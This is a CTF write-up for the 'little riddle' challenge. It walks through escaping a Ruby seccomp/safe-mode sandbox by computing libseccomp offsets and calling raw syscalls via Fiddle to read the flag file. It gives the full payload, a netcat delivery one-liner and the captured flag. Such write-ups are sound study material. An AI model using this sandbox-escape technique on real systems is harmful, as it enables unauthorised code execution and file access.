Code Blue CTF Quals 2018: "little riddle" writeup

In this challenge, the task was to break out of a Ruby sandbox using seccomp and Ruby’s “safe” mode to read the flag file.

I have almost no clue about Ruby, hence I went the low-level route.

One could recover the address of libseccomp in memory as

libseccomp = Seccomp["seccomp_init"].to_i - 0x21bd0

The offset 0x21bd0 is taken from Ubuntu’s libseccomp.so.2.3.1, and the 12 least significant bits serve as a great way of verifying that we have the right library. In libseccomp.so, there’s loads of useful stuff, most importantly including a PLT entry for glibc’s syscall() function at 0x217e0:

syscall = Fiddle::Function.new(
    libseccomp + 0x217e0,
    [Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG],
    Fiddle::TYPE_SIZE_T)

Using this, we can start reconnaissance: For instance,

print syscall.call(102, 0, 0, 0)

shows the current user id and verifies that we can really use syscalls.

From that point on, exploitation was more or less straightforward: All we had to do was open(), read(), and write() the flag file.

To read() and write(), we need a writeable memory location, so I took some address within libseccomp.so and used mprotect() to make it r/w.

During exploitation, it turned out that Ruby’s tainting mechanism prohibited using literal strings from the Ruby code directly in the syscalls, and I was too lazy to figure out a way around it, so I instead just read() the strings I needed from the socket.

The final payload reads:

print "\nI am the Alpha...\n"

$stderr=STDOUT  # show errors

libseccomp = Seccomp["seccomp_init"].to_i - 0x21bd0
printf "libseccomp @ %#x\n", libseccomp

syscall = Fiddle::Function.new(
    libseccomp + 0x217e0,
    [Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG, Fiddle::TYPE_LONG],
    Fiddle::TYPE_SIZE_T)
printf "syscall @ %#x\n", syscall.to_i

uid = syscall.call(102, 0, 0, 0)
printf "uid:  %d\n", uid

printf "mprot: %d\n", syscall.call(10, libseccomp+0x22f000, 0x1000, 0x6) #rw

l = syscall.call(79, libseccomp+0x22f000, 0x100, 0)
print "cwd: "
syscall.call(1, 1, libseccomp+0x22f000, l)
print "\n"

printf "read:  %d\n", syscall.call(0, 1, libseccomp+0x22f000, 32)

fd = syscall.call(2, libseccomp+0x22f000, 0, 0)
printf "open:  %d\n", fd

n = syscall.call(0, fd, libseccomp+0x22f000, 0x1000)
printf "read:  %d\n", n
syscall.call(1, 1, libseccomp+0x22f000, n)

print "...and the Omega.\n"

__END__

After sending this to the server, the exploit expects a filename to read (the flag file), ending with a null byte. For instance, the following bash script automatically fetches the flag:

#!/bin/sh
(cat pwn.rb; sleep 2; echo -n '666c616700' | xxd -r -p) | nc pwn1.task.ctf.codeblue.jp 31338

This gives the output:

Hi, there :)

I made a sandbox for you.
Show me if you can break this and read the flag file.

Environment:
  * Ubuntu 16.04 x86_64 latest
  * Ruby 2.2.10 (compiled as PIE)


Okay, let's begin ;)
Don't forget to put the line "__END__" to the end of your script!

> > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > 
I am the Alpha...
libseccomp @ 0x7fd2c8c93000
syscall @ 0x7fd2c8cb47e0
uid:  31338166
mprot: 0
cwd: /home/p31338
read:  5
open:  7
read:  51
CBCTF{LittLe_RiddLe:sAF3_Bu7_N0T_54FE,whAt_IS_It?}
...and the Omega.